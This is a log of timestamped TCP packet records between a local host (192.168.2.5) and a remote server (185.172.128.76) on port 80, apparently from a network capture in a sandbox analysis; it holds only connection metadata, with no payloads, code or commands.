Apr 25, 2024 21:47:59.933774948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933785915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933795929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933809042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933830023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933909893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933923006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933933973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933944941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933947086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933960915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.933971882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.933996916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934050083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934062958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934076071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934083939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934109926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934218884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934230089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934240103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934254885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934283018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934392929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934406042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934418917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934428930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934431076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934457064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934482098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934509039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934520006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934531927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934544086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934545040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934561968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934581995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934690952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934727907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934760094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934796095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.934952021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934963942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.934988022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935003042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935316086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935333014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935358047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935374975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935514927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935528040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935548067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935564995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935664892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935677052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935687065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935700893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935723066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935726881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935764074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935921907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935934067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935945034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935954094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.935966015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.935988903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936108112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936144114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936152935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936166048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936177969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936187029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936199903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936219931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936346054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936357021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936383009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936547995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936582088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936712027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936724901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936734915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936744928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936762094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936880112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936892986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.936913013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.936933994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937058926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937072039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937083006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937093973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937107086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937119961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937207937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937221050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937232971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937242031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937247038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937253952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937261105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937272072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937275887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.937292099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.937309980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.983844042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983861923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983874083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983896971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983911037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983912945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.983926058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.983942032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.983979940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984401941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984416008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984427929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984441042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984450102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984466076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984489918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984565973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984581947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984594107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984611034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984627008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984669924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984683037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984694958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984708071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984708071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984720945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984731913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984735012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984747887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984761953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984775066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984777927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984790087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984801054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984801054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984816074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984817982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984827995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984841108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984841108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.984865904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.984889984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985069990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985110044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985160112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985171080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985181093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985194921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985204935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985208988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985219955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985223055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985233068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985241890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985258102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985270023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985270023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985282898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985292912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985296011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985310078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985316992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985327005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985340118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985344887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985353947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985361099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985368013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985383987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985408068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985409021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985421896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985434055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985441923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985446930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985456944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985457897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985471964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985475063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985486031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985493898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985497952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985508919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985517979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985523939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985532999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985538006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985555887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985559940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985568047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985577106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985583067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985593081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985605955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985610962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985619068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985634089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985636950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985649109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985656023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985661030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985671997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985678911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985685110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985697031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985704899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985707045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985719919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985722065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985733986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985745907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985747099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985759974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985771894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985773087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985785007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985793114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985800028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985809088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985810995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985824108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985832930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985836029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985852003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985858917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985862970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985877037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985904932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.985944986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985975027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.985985994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986010075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986027002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986038923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986061096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986071110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986094952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986222029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986262083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986386061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986423969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986428976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986464024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.986747026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.986790895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.987138987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.987179041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.987304926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.987344980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.987679005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.987721920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.988231897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988272905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.988590002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988636017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.988951921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988964081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988976955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988991022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.988998890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.989003897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.989013910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.989031076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.989047050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.989070892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.989106894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035196066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035259962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035271883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035288095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035300016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035305023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035312891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035329103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035343885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035346985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035357952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035370111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035382986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035393000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035412073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035430908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035794973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035809040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035820961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035834074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035845995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035846949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035860062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035871029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035871029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035888910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035912991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.035962105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035974979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035985947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.035995960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036000967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036011934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036024094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036031961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036037922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036051035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036060095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036062956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036078930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036096096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036154985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036199093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036564112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036575079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036585093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036597967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036607027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036609888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036622047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036623955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036636114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036643028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036650896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.036669016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.036684990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.037678003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.037724018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.037839890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.037852049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.037887096 CEST	49704	80	192.168.2.5	185.172.128.76
